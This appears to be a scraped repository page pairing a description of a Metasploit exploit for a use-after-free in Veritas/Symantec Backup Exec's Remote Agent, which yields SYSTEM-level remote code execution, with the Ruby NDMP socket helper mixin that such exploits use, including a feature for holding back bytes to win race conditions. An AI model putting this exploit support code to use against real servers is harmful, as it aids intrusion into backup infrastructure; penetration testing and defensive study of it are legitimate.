52363aec13
This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM.
200 lines
4.4 KiB
Ruby
200 lines
4.4 KiB
Ruby
require 'msf/core'
|
|
require 'xdr'
|
|
|
|
module Msf
|
|
|
|
###
|
|
#
|
|
# This module exposes methods for accessing NDMP services using a class-based wrapper
|
|
# around normal sockets, allowing the use of more than one NDMP connection at once.
|
|
#
|
|
###
|
|
module Exploit::Remote::NDMPSocket
|
|
|
|
module NDMP
|
|
|
|
#
|
|
# This class represents a NDMP message, including its header and body.
|
|
#
|
|
class Message
|
|
class Header < XDR::Struct
|
|
attribute :sequence_num, XDR::Int
|
|
attribute :timestamp, XDR::Int
|
|
attribute :is_response, XDR::Bool
|
|
attribute :type, XDR::Int
|
|
attribute :reply_sequence_num, XDR::Int
|
|
attribute :error, XDR::Int
|
|
end
|
|
|
|
CONFIG_GET_HOST_INFO = 0x100
|
|
CONFIG_GET_BUTYPE_ATTR = 0x101
|
|
CONFIG_GET_SERVER_INFO = 0x108
|
|
NOTIFY_CONNECTED = 0x502
|
|
CONNECT_OPEN = 0x900
|
|
CONNECT_CLIENT_AUTH = 0x901
|
|
|
|
def self.new_request(type, body='')
|
|
header = Header.new(
|
|
:sequence_num => nil,
|
|
:timestamp => nil,
|
|
:is_response => false,
|
|
:type => type,
|
|
:reply_sequence_num => 0,
|
|
:error => 0
|
|
)
|
|
new(header, body)
|
|
end
|
|
|
|
attr_accessor :header, :body
|
|
|
|
def initialize(header, body)
|
|
@header = header
|
|
@body = body
|
|
end
|
|
end
|
|
|
|
#
|
|
# This class wraps a normal socket with NDMP functionality, such as NDMP message reading
|
|
# and writing.
|
|
#
|
|
class Socket
|
|
def initialize(sock)
|
|
@sock = sock
|
|
@next_sequence_num = 1
|
|
end
|
|
|
|
def raw_recv(*args)
|
|
@sock.recv(*args)
|
|
end
|
|
|
|
def raw_recvall(n, *args)
|
|
r = ''
|
|
while r.length < n
|
|
s = raw_recv(n - r.length, *args)
|
|
return nil if s.to_s.empty?
|
|
r << s
|
|
end
|
|
r
|
|
end
|
|
|
|
def raw_send(*args)
|
|
@sock.send(*args)
|
|
end
|
|
|
|
def raw_sendall(s, *args)
|
|
n = 0
|
|
while n < s.length
|
|
i = raw_send(s[n..s.length], *args)
|
|
return false if i <= 0
|
|
n += i
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
def close
|
|
@sock.close
|
|
end
|
|
|
|
#
|
|
# Read a single NDMP message. If require_ok_type is given, the message must be of the
|
|
# given type and have no error indicated.
|
|
#
|
|
def read_ndmp_msg(require_ok_type=nil)
|
|
frags = read_ndmp_frags
|
|
return nil if frags.nil?
|
|
header = Message::Header.from_xdr(frags.slice!(0...(4 * 6)))
|
|
|
|
return nil if require_ok_type && (require_ok_type != header.type || header.error != 0)
|
|
|
|
Message.new(header, frags)
|
|
end
|
|
|
|
#
|
|
# Prepare a NDMP message for sending and send it. Can send messages multiple times.
|
|
#
|
|
# If all_but_all_char is true, then the last character will be held back and will be
|
|
# returned so that it can be sent at a later point elsewhere. This is sometimes
|
|
# necessary for exploiting e.g. race conditions.
|
|
#
|
|
def prepare_and_write_ndmp_msg(msg, all_but_last_char=false, times=1, flags=0)
|
|
msg.header.sequence_num = @next_sequence_num
|
|
@next_sequence_num += 1
|
|
msg.header.timestamp = Time.now.to_i
|
|
|
|
frag = msg.header.to_xdr + msg.body
|
|
write_ndmp_frag(frag, all_but_last_char, times, flags)
|
|
end
|
|
|
|
#
|
|
# Send and recieve a pair of NDMP messages.
|
|
#
|
|
def do_request_response(msg, *args)
|
|
return nil unless prepare_and_write_ndmp_msg(msg, *args)
|
|
read_ndmp_msg(msg.header.type)
|
|
end
|
|
|
|
#
|
|
# Establish a SSL session on the socket. Raw socket reading/writing functions are
|
|
# replaced with their SSL equivalents.
|
|
#
|
|
def wrap_with_ssl(ssl_context)
|
|
@sock = OpenSSL::SSL::SSLSocket.new(@sock, ssl_context)
|
|
@sock.connect
|
|
|
|
def self.raw_recv(n, *_args)
|
|
@sock.sysread(n)
|
|
end
|
|
|
|
def self.raw_send(b, *_args)
|
|
@sock.syswrite(b)
|
|
end
|
|
end
|
|
|
|
private
|
|
|
|
#
|
|
# Read and reassemble a group of NDMP fragments. Usually NDMP messages are sent in a
|
|
# single NDMP fragment, but this is not guaranteed by the standard.
|
|
#
|
|
def read_ndmp_frags
|
|
result = ''
|
|
|
|
loop do
|
|
buf = raw_recvall(4)
|
|
return nil if buf.nil?
|
|
n = buf.unpack('N')[0]
|
|
len = n & 0x7fffffff
|
|
last = (n & 0x80000000) != 0
|
|
|
|
buf = raw_recvall(len)
|
|
return nil if buf.nil?
|
|
result << buf
|
|
|
|
break if last
|
|
end
|
|
|
|
result
|
|
end
|
|
|
|
#
|
|
# Write a NDMP fragment (i.e. containing a NDMP packet).
|
|
#
|
|
# Can hold back on sending the last character; see prepare_and_write_ndmp_msg.
|
|
#
|
|
def write_ndmp_frag(buf, all_but_last_char, times, flags)
|
|
buf = ([buf.length | 0x80000000].pack('N') + buf) * times
|
|
|
|
return false unless raw_sendall(all_but_last_char ? buf[0...-1] : buf, flags)
|
|
|
|
all_but_last_char ? buf[-1] : true
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|